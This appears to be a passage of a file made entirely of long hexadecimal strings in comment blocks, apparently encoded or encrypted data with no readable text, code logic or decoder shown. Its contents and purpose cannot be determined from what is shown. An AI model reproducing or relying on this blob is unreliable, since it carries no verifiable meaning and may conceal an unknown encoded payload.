84badbd5dd18c68e39c54097cf794e13050000f8482552e112f232722c3dd974e2e4c28a096c9fe1b2b45de38fff5418e831421a9b88ec8a2e9b07a800a9816a9ac4dfcbff74226aff64208da78d394456840730575102a4522414e0f3aeae6128bd808a02deed0085117430bbdab58b855cc2a19b02e0b547af529e78c910165fc6343a965abd37acd179adae3b5e0fa8aa8132d115a7d62699bfef661ead4c138bed499309c69c41b61c2f17312ac92a0a00f19d7b5e675de4d535a7b90f75a2bbaf459beb553592ad34e97059e462a5286a8dd62669c26dcfc361907b37e00956f43ae339c57ab76a55bc9d2c38a010bb66a4b19225528949c536cd7b31272bb91c6ac2f39ffe4f5f0b9f1fd61965cf27966d4581b39fdb6cf200cc67cb7ac64d1b8a766b4c64ca2dcf497ffdee0cd519cc6757c679670f893572b9a6acecac5a01c7fbf4e2c5e63610693a5615b8cf95ef08667bb58e4679f96ce6f938410849cc46218cc4558475f95aff8a776bd7b3d270c0f54bdbfa8c862aa38c6f52768a50e0f8e34a17a57d0c1ea443e6d54d2770b0d1e58c95f3203261539eb406523d306dc6967d52261ef91797db2aec3c0d0a572fe18407d0f6100c52cb6581c02714806c6bc632516dc950baf184bb13e5aea20d41f30c15ed62815b70f18c544*/
/*2be7d8c75570560d239bc12d80bbceb3a1da3fb2dddd4fbf2933d0b1aa572e27e34438913e926133ed93c6ddce18234fadd9358b5c8579f5713648beff01cf318d551594629f3bad928fa265ece215fd596c07a4d2d2d444f4d58d477e43b09925f38fe8ae2f7ca9b1f0686496ddee61fcb5756a1cafa7b749353b7f971d8bbeec20804f1835e7f67306d621aa727ffc0a7079368c0461798099eecde81861e2b8af6100b1c75d249255cfa5f9347a0c771d6211ddaa50eab4e5bb2b8b865a3f588b385f04fb9f27938fcad7cc00a7f0dc6a389b7d9320f76a06dc40277cccdc768de301645e5a777df1ce99e60e6a100ad0a2fc8c9ff852ebf303d40e1e5a71d75e6a11379511eb79861af46be0440390494a622331d572b165c9f5d9e5b91d32c3b12a0350cb891745cb71a75945f355f49f3be2a37b3612633c3f97e9afc3268ee9727de4142e7c7e7685628246e292ff074027b9c49e3fb971912d156037a707ce39ef507888c0f2c3a5dcb4646e5cdc23beacb8b1fe94f9effc53a374d74a9f32c6aed83d9af7fb7fde9fb4a9fd39f8f375cf8ddd38f5d7f19094308ff9fc72b85d7f45efbdc872b961793f1a7cb8d83b02fc6a32c8ecbe871b80992a926cfd66572f2a427265dc47541e44c6e82a3c68dff2395b498b04ea5e86e0e259b700cfd57ec836e209413592f6969c0c8b06eb1e04044a063f9f9a5c894826b542331a5cb8a7582bd11bcdebdbf06f01c3f950ea262f7c7618920463c7edd3a7edf263f3e37f38e9ead0312506c1586ec8ddb6e4ebe71014962a8c283aaaede81ce1ce8acbade97e99b42b7eab7bf508b5fa37ac4966e68a5e801b2e888bc922dd35b20af27570ee973ef14d5bcdca7be529a720d08f61326ffc175fff8129ced6dab10faada0ce52f3e70d85091b990eef32ca86515e385f2ede42012229b3509a9e08265a2771cdb92762c0b6683a25b04e25303e5f7bc7781fabde45f780433a36a19243af7a6e79320748196bc6e3ca647a392a2a7476f8417df93f33e6124c0a21fb4d578e4320ee3de97b05255f5fbc98aa01767c205a70bae5ffe88ea20fa64d86d49abeabe5f472435470ddc78d5061b8cc6cf74a7aef0e04b58b4b3333ce62b1d9bd20df88e6d6e86554d0f390c1efc73c5d8d0652d4e4e81efbbf35ccedcad87ecb921cdeab29a057fe4afde0ef45bcc449daf2c22be362dcda0391f87861776ec1eb2e13c943550f0fe87076e2fb93aad31030d35bb6eda725a5ebf03cd1b4a56c582d52a639769804bf4676bf742084f0eaaea8edec5324506ed042fad2e08dcb2e509712aa16797f8d26caf026bf6117bd57f8ee5acb1db596d651c6a4a34b41d04e3343f28c74b66a30084f1fbfd35717252b5b37b8a3e7995c822453e730ab20236aec8149cae903d9d29199bf35ae24040570e06da7c59ef788bbd3ee14b642b2697737750d41b51936f4a2e84ee17553a9f28ab7a3a8bc8548740aa139176e32b6bb29e600fa9b6b5a5d7943c257a0132f9c458dbd8da44a30f7566d8bd57fcc1e0a2180bad6815187e210dbfe337375546836547ef56c5b52020d788cdbfbfc059b38bc5953f6303d1ca73959f2aa0c2b742f4d42ffbce4310e9ee0e6bb60b6f2548311d4eb0229e76cc9d01e7d3d64b75eafeb34ed44f83b3e578a6923689bd1fd0ea38a02fd07192ab3b2826cdc33328bd066973451758e61f274a8a7dbf051d023e2af1fc39c897bb3867d40f4537d75a95eb3d94154a0c1a3e848c779dd6c2c2fc55ecd3453358307ad3c1c0398bc6bd8e3cb2a4d29cd31af1f2afed82c6e02c97993849a02c23a68ceba04be41e05ff8c4f0fb080bdb19081ec3c1629930b0811ada2d67738b49a5d5a31bbe74428a781df9777793a87092f78a652d05f18466f52ddf743c7e98f64a05630088df29249e06868b967ba90097c1ccfafcb3f8e5a65f138f82f33ba17fce540ab7f9f2d8b4588b87e177fec051d5903c2678baa5cebf00d596eaef96d8be0c4d079023259e4772d964d0fcd0823e5fc282d253d7fee52e183347cc2e5458b32c2bfc5b4c78c6ab5baf022afd4569e3efeabfe491429c2a33b5529e081b02a643a2e5038a1a043c4fc55905defd9e692b2a017e994e0fc706ee39db2ac97f89d3d84b6a5973b76f1ec10e8cddf0a7f8346cdf0423f3dc10c935e7195e955505ee503540be975d6fc21ce6bc1afc5cb80dbb83e0312e968ecc0ff737aa2d2a545a2f04d887d62f3ff1c1a2db0fab007226f5145171c98af142dd0ddb3289119dc7926ac430397d935f897d2df52cf1a996c3cafa58ac539fdb0d326aaadc041c529083c6af94068efb98e112fb20b35fd43f2be662d103d1970cf9d2cb7cca63cd8abb422d2dde72adff257bab15f20a0c4415f9098c3ac347e1970d8214629b650460a3bcdd93e2ac13101b5f6ab68591291873f6c53c547beb4056a133574b4ec708705ca4c1ea4db48fd6dc8fada23015812d157e233b1a9abf5b4f65d15ece2a8a05b41b084550ebac5afc5643725531f78852e429e1160066bab9d3f100f26da71bd1d48c09408a6642184eb68c3e11b700f2978d9aea16714ef5700abf97c715078821ce69d1faf2fe7c5a4f6b6ad9c87d2f489306cb9f4937a340ddc731b5f37d6d289e6f6a96a6a25b644ad223e797e3d668ae2f7c0566ed39d1ee379983d2c0e85917a60c8744828f9f4e031c940bf9a2a8ae4d355b6d1eababb2413cd87e9ec6c984f186b049e29776d2c4a58e7da89e492f411e8c21d5369e26f2d6f10d2d26932512dbc2032ce75c45736751486972c9caff55e*/
/*e17761de154e479b79664285e9562eff97d15e954f714c3f21d4b85e282cf15122de52a6f2b2d30ad9717a3c83c931584b55f8b25247bcb5eb82f0d2f8e9408c70403d6321e5e67190bed42ca29057ede2ee0b331c43301d4d2f32bf92d5eaa740a8b912f21119c74653fe10206c9fb293706a6c49dde1ac48c914f45d936fd21535fd8f9e32ee7ccd6897947c6a7f22d13e597081fcca89c957677c32c6ccd5db7ba02bd110f2d9fe4ea9eb43eeee797943d729da1280d807b5a21be4942a69be38d9b67d9b0984a47d46d5737b769bfc8c3d562d3ab649f55629aa2d3380812add684a685fb1b02f595bca105dfbfa908b235d68b8604343ec2c5e48590cc4e3cc12469c59a5727fef95b19b69d1b4539bd6b4ef71c9790fa7b45c47accb5dbce10bfedb9bb2e9e5804ce98deb98a1ea4d68f40497252d38583a992ec0cc56bdba631d4b4834aa9663a2aa6fb9eb62b3b1dbb046e654c00a73d68465db2b9bb0417d47180d3bd4d6a605a0fabb735b89c88748791894239f4139fafd3a18f0a15548c8b0f58a1f7f595a213a3ec31f29a9be13093b2a76a108bdaaa03a1b19945d3c3f24d18fc2539b7866c3bf9f987ca1fc203c604634f0dc52108a7e8e4d5ea96ee9da6eb7b1ece42e82db226c8fe1fe3a738962ab8b6c7e1f147a969651b9c7d5f7c4d70e0a9612acd02dafd0a1e09aeaf056619419c246a43d11aab4aa2988a0f4abf8fa6b38b6f0fc803a1e50a46edc29492fa1b51e941ad99dd691e5c11c2101f462228a8749a861a0582587a30f218cca0256e6a90640508a4c980e235a059c9d54467808893da8f5708a2e4f6c4fec2ad3078be5cb41c0a9fda611924fab8cee0aa826324cf78f081be86deda337d04e2d04d1813a425e4653142cdf2362c4817098145679418711bcdeaf2525039246b391e321db2571f9f80eeada2e1e9cf9421d736ae459afdd9043d4b77bdced7edf5376f6b1dc9d56e946e77ef83382dd5e41c9503a1ed46b6beca85ed5a865a0cab51df9c2c19fb78d95095f22b2f830c2d17808024e10fed7d081db31c68834fbb721bf705a81460852bc117da44266ff291d8d16ab896059bbd7b0e640a680547b2399b371c522813f6be69a947c3952d753def23f10efad799fa8adffa29f85e73d1712c05da6ef86e0a42b4725670395dec815c8a990b6585a42e02abb8f305ce6a1920e2f90f2e89aa37393de7a8dfd7c606099003a1a3aa463b8945adafab459332bebe4eb3f0739eb26d9100a6254791ad50a0fde73fb7d65f58544349c81d3c7f4e8a00be6d9197f8c6a13e334537ea64e1656d2a4c4df915e4472ff2b91a8bc0989828b968bfbb879c1e3c4b4c5fdfd839433d6146e96628c599c2da40486a3ed42e656699778184b1d126d6a74ad308329d8adbce3b9c2b8f6e434fdc9f47c9f63738662e2aa86b414ed85d4398b36642f99abdc22f403ce59dee985e9f47c45f2ccc25217fc4eb5ddbf9418884ad1f8201e1ce1269f47d1fe26f4407b9ea059a782c8f3e15b2bed42d35823fc5ace1ca50240677a9e6bca63683408a8ad10ae54844c9817e8658a4f006f24e620b5ceacbd14aad6577cc4f9fed2a553f3df31970149b679dd6922f8fd8812626961dd26464b1c8e3f27895044406bd1ea80a3aef87b5eb332e0f4f4cad18d1d0174cbd576d9647776fef13283aed3644cdd291fc6e3ba0c54bc3bf6c18f0ffbeeaa49b1868105e920f87421dde1db5aa299f1d95724e9385921e9e811aa9aefcd686962fcfbf1560e2dec716dab652812513ce53142ec4e4743f23896e152df5cfe330a139a2dedc5c8e0f5a89fe88af5f73cc86190b216761923eeb9fb586eabc8e580703181576196a7604ae8fa789f1c0e714a6f31fd92160e3f73d87de8e96732721c94c68425eabc5d9f5a114717915ae3f19cdf50ec1cd7ddcfac129dbb7d7cd79d114471d806a586b835698b1ad2181fc3ec1b4527c36e204a69b4ddf52ac7c836f3286112a52a7bf56046a0546f2800feb1eb0a53575cd54efa097c497486e8d4e48cd4c5c8688f82083340f7f95bf1a421c6f23b755c324e8fbd782e3970d3d9eec1038fcfe270b1946b144e0a0c70c5fb128e48740b5b94a695d283baa044bcd8fe816d5b310fe865178cdc530632cf0cc2dd6f516ab8e3b49a2f04dfaf4fc2b095b8e4d8855bc17155445019c9491082039f1f484c6350945a19581b899f7773d653cc558986c2c605ddc4d079eb0469a0750f603a01dc82fba3026bb18b4db448f20b45ee5e0c338f4b990283cd9b7ac503aa10dae122b7f6c5a01baac55b4fdb5fde74bff79ded7d24b5cd992449ee75e117388571d547bc8cd5e815fbd04207df51898a73b51ef5aaf3b29bb49989b10acf33374e31808e6206553d64482e1824713555a6a073ec2dcc3cd72e258b3670e0fde36d59edd94d195daea1494da0c625e9cbb90d6b2e05577f74735ba4bdac2b8dd0cb70ed5146ae8e7f7d52b5ed455f0e27d770f18f28a916634fe542b3c888819ed883f7ea1a66bb549a79113fa6fa4677644ef18b4a1d108bc5dea2372ee6d2e28cd0de65a8ec6e17122ed11265c7e917cdc2250fb015a0db0fc59b4b0c465e6cd7e2eb2334182f19102b9749ac27caf090c71b234a2aab2f69f8ca2addfb708a211cde0546438ee00d5fc2fa8c032aedec7e722168111fbe2848f500b63a0d9ff26f543024c6ff77f87f4f2a538a79c3e9162cd239f81c78a19adf5fede33b3f06834c71c207d8390e4f2711011116b6774964fc90089c9c684ddd2f7ab6a3266f5f7e25286d4190775ffd9dcd5d*/
/*812779fbe70e431fca3466d51908fd89637be37a5086d186c8ade1904f214ed3002ce43c783110134474bb8d78d86aab70a027dfc3c10b3f351ff452f32d8923dbf46161484dfaf62a86e9cc8760cd285266b3a118c0dfab72c5343a31c8dc66f2752b237ef870cf4ca9d467c40c3f96a02751d452196ca5acbca458fe666c8c782b097fc9406363e09edec3854d04b5c36fec2761200d1d410b729df427b20cb425b9ec929babad836583b4017e6dff7603154b3f7d06fbcc9213116ea82e8b515b3b2a2ad68e224f998c22cb4dec10cbfe2e6aa9ded4e7c5380be0b05b40f387133a1411d92114d722e219609cad33b3012cc1857a51d55fbda8e54b5971cef5aade7fc8c01e1b41f680a4f3ee184f517dbaf1b4683a825e076f1a1ab19d001ef11852b231da41d0f35ab424b6b1815fcba6eee3021570eacf88de3d025f4726a06a0d7a51c6413ed868ccdb23862eb694fe9c613dbbd9f8fc5c8ba547eb008643838da7749216964950808b5829bf23e61c0fdb75e55be0fbb4d1dc96be149fbc827b11426007814eb28a68954b95a6fa11f00181cb7faa36e67fdd0a0df058f34731b77e2b548444c5c5eec336390ab54d614a0fde70528299eee39d1c8cea28fd367ca73c030931513fa1ff5002be28ec70ac08a4b1d979ff5e80351036d30474f4371b4c026d33f2f3c1211ef73ae50c6d923cf4b76e6c76e969121eb98ae602cfbfe839d2c82fa8f6b2f6349700f23a3605c830e66835fd6b5c54ee878701d8ba280e8062fde50d60ae3eaf1654ad2036ab540c581147633ef91e94cdf23fd149cd2dde3089eb8151c471422f76aa000e60e6c9ad35d6c295076ae04e82e76ed4c7db63059f20306d98d2749b7175bc44012c73208cb2f43bc6b01079cec8334b5358a8de2e132fd16f9c22b6e6a6be3e69827fe7a6320225c456ec6d97cd30e48157f2953535d37779724af32a832f89ff30c383e2c964ee27678057550df7f69ed83345536385916fb4f910a0fa9676dc4c353fbfc6c26097fc87ff97ca43c9b693ab9eb3b8ceb0e064fe0f78048f534c7540357ffb5d4a91ef89b3dd1079bab6383a0addd55faf47e588768b3f9f6ee6925d4d4075ce2e34ffe111f50efa9a34e4aaa202bb2a4f0677be3d33d6c9ee994c734322217d508fe7e6c748bbfc59f95ba25a6be2e82a9e108320c0a2d90cd8d6da16f59caf1041dc0d6b23856eeba9d75ed7a9df70d2c1aa8ea53466f9e5f6eaf1c0782e8ed6995fb8d19f374b8161329ce7e58c64b9e4cd43896d532a3054cd2dd417d4e02a2e34119bc5eb0047928159a9244c9979d033a8c8a4f803ad9a4a1f0f50e20a0f2668a2efbb64f01a51f7320468144f0813d2d061713017d84d141e8a875f38cb0e3175934d6eec5523c0382b991429a0eaaf1c912928c6196d669d7a3b5e1ec7315801e87997008bd62b3dcfe4365af422aa1d847dbb504c7cb222ef330aa76a257ccc663aaf45e93c181c8833ab2d2672626fa78c13565790ef7505d1c2149fde5ae6ebf4999f5a3212d1a08cf2623be3bdba4276dce5cf3fa77ca7aa8dafdc509aeba073216ce66d5ebb06bc3ee6ee3b42b6b541b7710ec0e2e73f0fc59cad4618f0309302c24fbcf93458b7326183b84c103ce34e15b607b4c0ebb298aa7e7d0b2814fc3cadfa10050ef6801c7f0df6c9465d47f085260010c2c019c511d210cf84461ce41f548edcc0ec5def3af3d7565e9a0b7c9c2b78ff88dcd419cdf8deeb1a98aa0e741f684c86f3b0619827b77bbacb971aa95c60cc9ba02083cb99e402a6e7ae0b4c303c9da99998bd30d286e00b3cb60884642c8800640708e03e669bb1ea772b5493f8bf74c8ebdff036d823b41631fd528b0a562996796f9e7c1374e86c3c83a370a4318482752d6e25dc3a64101c2b84cf79fca3d8d6862d2ee5a387ddcafe2dbf2c2497654343d763ef7fa5235348b1e154728751a078b9512cfc5ed09212a769699a8a09bd5a652069574d673af2760bc29ff41041c1ab62ace1ba8ac13a9b485fe83c24b55d97067a7447a0428224cc8f0555a5a19379eca07360315d94bface9e11e7c2168b3dd30525378c7b59e7e9d73c5a720f61f6d5bd759ea1f809dbb73ca1174df09e2e80c4e3a085cdb8d4e338e9675c0931480cf43c0ebba0fc97179aafa74350cd614eda8f7d32d33e33e9be98fc19c5137a8a844bc109ecdd2df042d140af27d929e22f6e82714909da15103e8a447f81529bc06f81cdde27bce3ed8e842b1161c2df8e70bae1bfedfd0d108bd03d33295d18b9330db522ab6a0703737ab9eeea1fe8f4f02ad92a99c8b9af059d98b74c511a0f92dab1e5bcf2be27c264fea474ad8b38d823d7fbcc9d9525741801cc29e0c244cd7087c8912a82b01286ebea90dd8e94742c55d0c651c0883cb2825d23d370b9d1009bd8f3402189f3e2629617cfd007f8e6eade105b67b192e1c5bd228997f5572fd2a8f80447a6dd303205eef83646e4606ff912f7f140dff7aa7e0cb2a1d0b58bda51409d1228a7e6261c3d096d5a9a27240b3920753e43a003ee9a62fed277a244a86120b98427f37449d44ee530f1a424c3e479f056c869f2c94a98a192d87d457ec2b5e166352277c1df5a2d8825e029b0e391940c5357813153f7d774c2332dc65cebb9c01392ffe8f9c9abfdc60a7fa1553f1e77844f2a29325d64838c31d27b4495cfb7ace3b49b83668ad3e4683c2243723be1de848baf502de94a2208ff62c0ac6f4639eefdc0ba2e1f3817bb8cac216f8bf2cf0366d7e5784f89d38bc77c39cc0b9cfc71cd88ce23155ab3874*/
/*8856072e7ea2498f51ec64fec2ae1e5fe950020ecfc7904511c85fe43916e41bd8ad85683c3e2dc447bd722a0fd46fc5481eb4615536b8cfbfb7e467d46ec5e74bed64a67ef7bc5ad3283e16b62a2b98947e67c0857f1d064ae17d260d6e2d7ba4e2af519045c370c61a5c29ff96b95ceb3937a7b0688256d3c383731a5ab8c50e99b1a151607ac293d618eef839f5e8c87fc728316e6e58c8b6ad1ac7e124a9fc52601be54642a7134e8dec3950badd47473daef9faf3ad7443b5f203c0abf87cb4be9eb03f3f64c273ed859aa76173efbc9d4d141dfce316e0b4cd38e507ce1161f56d91d89e2e82e2aef2267bef1fd6befa86ed5cfe07409216f9eb23bc04cceebf85fa95941e8f3b07f4ed89a246a36bc55b2f791c5f738625f6a55839d799346cfe4adc8f9c935094eef4dbba7d86d6add864ba65dc3687402664d8958cd703d1eb09a310973969c9ca7d9c90f0891e808d57672017384e3fe1569f8bf1bed83861a8633869193fa36f384a82a922f2fbc51638b0dc2752386db5c3d3976b05e7154954ca663cd278dc8173328c1573b360723d67c8fe70aa0614c7d9debec3f64b0c42dea75efc8eaec5c26f733c285db7149588388318b5efd6161eaf8cc2795d0bbf87866a0b1b1dae5c31844bf8062992eabe1e7190eca46e3612ba5e8327ec9f2acdf06434917517851dca0655f6adb48a8a1da4612f50cc09eca544fe7100f3d82e396d0b60d83aab24e42ba6900cf13fce03e6548cf8a4d91972fab4eef60ad88775698a3b1315394a23c50f305b486369dcd2103bbd18e3e421b2549e90818920e9c5b9ff5882b2b1ab6988de8841489ca139eeea83a1892905183a06c072ad639b9baacdd69f01777a0d9e8db8453edfb73b3c7802510c4fe17620feb772a8dd03472f1e2fec5e461e196354ae549ba009d548c0cfce73765835fc300f8643667ee40f0404641c1f4ff4560cf6bb5378c0b24246e2c48996ea6137f090ba08d01b2f6be0a7f36e04b5943b0f7b722d69dcff040b39965f56fbe308ceb5895d6e005161fbe0283582abe49dc146eb037866e4fe2a9da145642e58dc9dbaea5f3d49c25b5646d002faed691c1b6061c8bd819fa59072f3200709354e1043bac2533a84042621bebcc1c9238e9db222ab41bf0c8d2c9f3f56ac695608c849b24f46bb50e26b7b929d98a42683d233a59471beb9a14f12f2a196ae565db42451de620f6fb581a715ec041545e9c6a0fb36f965fc423549bc090ac04072bd1608c2700e9655e7bbe934e0c71db2f929ff66e8dbca2080b945b4e2956792c22329da066e9eb2bc07caecba28ed1dfcff355488e4fd236559e137b540ddf5ca86cf2544f5719d02294329569f5f9f24fcfe3c7686548bbb5a874eee4f72c873c81d64fdfd8a531487075c4163e11232e8a39d8c69368a467978801195cfa3fc65e98978f0e23eca2dff070826b44f9ddda919afeb44f7ecaab6827426322cc0bd9c97e3f2e9445b877f78ed33ee81b7db11b1500ce2af7961d36494eeb94f59cbdf31109b34f94ed5f91cf0e9192c97da84b02ffc6a3c216f08b3403a2c843ec222f6fb298966b7a208c730f3eea8422319967affc93be9b4fa32181ff9cd63a5dd6269cb3bcf6e92fd893d9fb8b5840a4a982a3f6323e4f2f7861c2d2324133755c81b5fc00f8eb011837e3e72f9bbfbe61ad2e04ed71f9691c8044f9c7b7c7fcb04b1cf05461da536262d44fd9d9f9189d4a5ee2e529e47f6ba542fbdaa3134856eca04ca131fb5bbebd200aa8a9ae50e7874e02f5dbb79f8d403564b59fe9b87131b7bdcb004b20b780a1d34aaccbf4a2cb96b6292ab566c9e848e0e9364cf30f5ed9388f43738a3e841f5220ab3356d0f994a0be2de52d53b563db3aaba5d5234a547f6d7edc842bee279be856818bde4bcd28b6e8998168ae253fdba456e24893f39006970271c06fe8c27e00c6ff0d7ccc87c61c1f2abf0a1a63fb695ba712903c4d419e9a10db1340bfda17862b8c7e571921496a5a257f670ca1e9d1c2c7e953783dc4e1d444c706a8d38ddaf220c675ffffde9e17eb6159a06fe208732545ae0f35b584af35cd30d86c170baa4f95002f04df1df63e3322716a857e5a5b1290d9bad839ff7320211f22f8c15266b03834f9e25d8a72687c3f1b75fe4c005a1b5a2c072b2cd3cd0b1242287ff5c69be42f1c924745fd68e75f56564a0087d9c9f4a3c5345f284cea26c94ebd02702b4b036722775583b156c2aef7dd80181f9086b962123be0b54ff281f7d0d8d2c47516e29fac76acba6e55650f80a42df25a787f19477c23e0fdfc7c2e737b3d66cdd3762da51c3d93133f5a66fe7073a126cc34b59fdfc0cea05678275074be4c65891ddc22155b8278c48ecdc8fc37d2dfbeb8f6c1a34f5a2840f95d75bc631f6cc7a3bf5648ca0273e10391a333de8000b203310c3d8b16d5b894235581cb6839dcc0eb95a65c7e8056287628bf6f3ff8823cdcb3090189563c229883d5edac3c53c77f505502028894fe59acd15f1598270e16093cc40d6e190f716c7c770c1b4b1d1dc457d4a9939d2e813f0b1e45540606ab84b5128762e188bc94c84404a89209fdeba8089b35213dd6185c4871f9ac95b564f728ac1b50c63f9a7dbeb1d7a07d63435242beef4d2c2079de26072ff407abc43d2ff7f6b3f69477c19df2174aa0216ab50d41f60a86910ea56927bb4ac777e174be60ae646a8e494c7a17b169b4af6ff66a6af9e9d35873ddc7b056acaa26aed3cd05f9e56995abc7de80757b554cc737ae58b56605c3fb32a0bf37fefe51ad77e2ab103*/
/*7d5cf8d33a2ac7e83b2b2d88d899d3b33dd99691625110c1151ebc2b17559736abcfc7af46c7b031719e7b875b321598bae4725ef299d7f40264601cf873338b63f9d0fa3924f5876bcfbbfbdc3011434fbb7cc07cf5352f94e1301ede4d2c398220cb24d442206e7a4d723ae106b42f975bbe6fd660d1faf0a108cb65b78c396e2d2432561b52d102758340f174e45d5055b2243f37de11cde5e998c417739e01eb07a929ae86f4cc9924c30270e8d692ce5f32e996b0cf2ec6c2871847289e50aa628152a3f7a553b57a14a34e9e2862deaba7fd2880fa372a5785e7f8a8061ff34146e6c624f8c0d5425e229e7a022bf8973a2b7d1e5f074641f211eb117807b42a01aca88ea87e116204e84252334f1207b1415007a05dc9210459f300456c0cfa11a525fd759b4ab3ffc6e40e4e658daa7898712d5cbaed83bac80182ffa950694291c44bd81029d5b43fb455848c4a8a244c272c979609ba70d6559b1b0676550e9b6c274afeeb178f45785e90210f6d9d44ccbc053914919fbf8acd4389ae56a4e4ce27eafdb67d6c68af308f6a2f45eae59922db37080ca94c6412c999f0b89a69b7ce756f2240ff9f28eecbc8f75d5e0a57aee91088c65684ee76f9c3cbeb48e4110b94abc0fdaa9743a8b84f055ebebc5a00585a97bdc9268c3a73012501e7f37d2e4bf7eef50a0e07b2a7d714b5780091cd278d32f8fcdb8decabd57eacb2b6f2b2901851b7a5c4761befd6df4aac121d81525f6c1f9a5308adfc9da9452c5caa25e70f0a29aa1582a570caaa449fc98635dfcaa64ec683381a531f99a9af216474dac1a31ce36f6c1a6afe297e26dd52075a89ce870f633d253acdf5dc3df72ca691dd8f4f47c3ecc9ee38e2666f06b364ac47b99c43c3cb193cca1453f47a4bed942b88a7fe7e6062497cf20ec0a2f553dc441dbcc9c24461a14cee66d237ac812a86766ba6e7c07081b4faeef0ef1d51f9badd8c8b2cc9d03180716b3b5f7517adad3616da37b22febdfc81e585a72fc8ba6cbe49dfce2b1bb99a6f0a06b115dde4478accf0a0169fcf56bd91b02342ee1c427755c047eeb96c7f92f0c4e865237cce64ce9d9f22ff1293873b493113cefc31108bc557cb80971f4aa22b7b9c9627cb6eb22e416c966620ce62dd2a7fb1afb4ae6ea254f86794f490fbc33c77039d29102e223ee638d09feff5e02ae53d8ae3fb2ac817ea2fb37d7424a551409d9c79ff645bb2926a0df6147134b3e7fde067b988338cb6b7702d4578a306707ef6dfe2f26b68622a2276c967a7b88350e4755e529a7ebcb9329116778f792a6b00543348537c42e70c55e04d241e3e3dcf5d1d4fdf1331881aa4e6477d2483c237cc6eb813ebda195b1469563f3df198359c890f9038bc1b9f58abac2383b845aaca6f8b7465e1cc94c0b432201177636c9fdd5dff77506cf68285c8f37e8cee6a9bf15ea9a0a25e473e3e40c2f071316380c643c8ed2ea5ceaf2f62b4f9e7fe534d8e92c3d8815817b53e270749f8ded08ce5b3c765c958358088c7684bbb27e273706564a8652f6048c94e374d8dcdcd3a907b51b9a3547731a9a02aa162506c27b61c78f43094c3602cd8139710a5be0cfe47f0288697267f253bd9ff80be3c6980be853d0836ed27b9c9a996f25648c6f57cebe49c3b071084009141ac61389c242b1a51dd78f36fc75bbad52e7f534db539201db6cd9de2d54140673dbbb980316b834599db79feefb04d3a0904c0241eb57e57e35af162557964b848de7ed893b9d8733c401ca974ad71da1f30b83f98a9a6c9c19a254c63a9360d7608e127c8f91436e422832d2fe2957baa668d83e00e2b3ca4e51b8c6439ecf4cbe532d80be1cc45554c589ad124f7b800413cdd50a4eac5d17285f2326191ddb0d4622b7efb856ce4ea4cd0c83d6ef48228fd65b59ffb0edd32478875301aaff4fb368ee5c212eb02199b53936e17f18802bd95c9507574bb8a4435c0ca2ad04282f0afb35c60ef62d2012eca651f567af4f7086f366ff4a9e8610032cbc95d4a07d4efe36e24a52f088d768845aeb3ef93b8f93e97ffdf307838eb47522d6c0846b9c86182eebce31b5543a1bc63407459176ce6276ae766bac0b773155451b509964ea5cb036d9aa599cff57d16f4b0209394ec371dc81ac00a6958cbd0c6ebed50763292f29e6f1d4ef317bfdad136a3a40919289ca5c276e1f06d5fec33ec29c8972fe57192c1169104c18ea23d423daf39bd0ac54c5c5f61dbe4b45df70b2cf2f3792b37d746b1b7d988fe9310d9d96ff0902f3dc63140a8f94cc5ac35fa94e64b6d74d529b8ced566721f90862d0edaba2c659b4845aa1d0940d902b4586606dba866f7eb2813cc5bd9f2dc1b6be7f848664c9cc712c27e4be0f7a5a45c95583dddba1b8bb1de4fb6aa66f044d29fe5b4cd23c4becd8a739174d38c54a8b3f119f167379e6b6a4b715cb2de984a087ccf3a55a9268559bea0e81488f2c2229d8238e4a4a61836ec95e133c085fbfbf35f81448dde9e393835e487f23dedef4fe3bb2099c651545da4c041aa2b4e346109aaead86761bc90fe4d2632015b779a8c78d7a4f9f9f0511858296c44da02ae06167f2996d7b9b01d6e0a14900906f64bffc166372ba48cda29468462b836757245eba07f27fdc2eeabeaff6e90821ad7681a09c05103a797d273a8c3d84ffe36a3e4909a15e95ce5b4cad3eba1aaa06486843be893c180518ad8bc9f3eda29cbb974c8f4b09d3f90dc7b200624dc4bdbfd0273139e026ce1bc44eda21b743a9eb301b8ca476fc986f5fc4be9f5508dd3dc5645ad0959f*/
/*df0b4473cb643b3cef7744bff501b614d449af5e7ee49ac8bf8ff0f631a4fedda07d6c10014399bd44fe1cee5de05c3c63561b98fbecb806ea1c179fa16acb3e5e3676f1b6d12a18755b919636c04ad400982e170b948c2cc5c14bbdb680e17d603ee58bd4517ad8d798a29b0ff4deb8b28caf762bdd9a81087f0a092d460e27bd4a4fbcbe64cd85199b7da8eee8f626a6700afe0e4baa13c60634062dc41389da69012ab2e45caf40a6dd9512247b562ab40ac3b0844e258e8b5c52ee5bc49bc968977363a07a6d8061211dca8aeb39727c15eefbce30c4e1e5c9c6dba346be125621c035ed74f9b778eebe7e536f909d5cda6e6b7fd67e00c958d8186decfe359963707a0efc69b25df30c2c177de2a0c85798433b158196780b735aecd1999e1335f52be446ab8ae1b5ad5d2f900e2f0fad89b0b0bda2a315376f3ade54a0f228a3478342b29fbec2c71980ce2f41e8e3e236f62e232d8c24a54d1c268f83377660ede40598a525ac743279b0590d8237e5bd0faded6d46054481740a842a63d4d597ca527326497be19ffe665aaa237c9cc8049859aee7f71dbd1debd9fa2b671ca1a0cc18b5eeffcbaf63fc5577bc19c16f23521003d030cbf66876897b6710c2c6e507cf5cd891a66002524eb92179a7ae63d2fbdf887ad80bc734e515a6b3d508e4d7bfab5b8f7776a9874ca85a1b8cf4f8863994cd1d3a9339330981f7f3bcb4254052762be61a59dbb5204407d70e70dcf8acb1964bd6c6589d86b452073bef4f1a41e9eb2bc0c2a8b5f11cdd5821eac7924e74632a26ae5ea278adea7e77d926fa80b0ba7e4d86ad14fba03a21ada74c8470eedce62adfda16fd2afc0ee7f90bbe5985bd33912c19e0e197bd4462005a4edd723422d87163307dd781226091e7b4b659ae382b8e938fa838e19b1895fd8ec8985049a22476fe5dc314b2bfd5b9c0c48f046ad8cf7eb57fea294f21ced4165cccc6245f45e24b35af9be74ccea6502d24e7c738f9e94e7b8cfb71e6b51dbef881a0633a8f8dfc3d50656e0d122ffe91ef19ae0ee65ca8095c425f80369c063284156e91e26cc2e6d945d9c287abd7da87c8114977dfe2447e5ab082448bc18572b5c25cd1a5539f1e095ee5db1dd02e63c5ce2488cf013af5959042b1d11b7f8ca69145325ead1951a3bffe6f70c28c4f2b0f93ce1be86b4b11f5ed2ec4c3cfde9396f406e7f36170eb8f4b6f52dbb0f5afed11cb162df312906d4e648fcfed7cc58888d7fba7462339472faea53fdf43d5bd1292113cca9f4267e5c58fe1b819db788d405d6c9e006d66559c675ddd6e4bd2a9f9d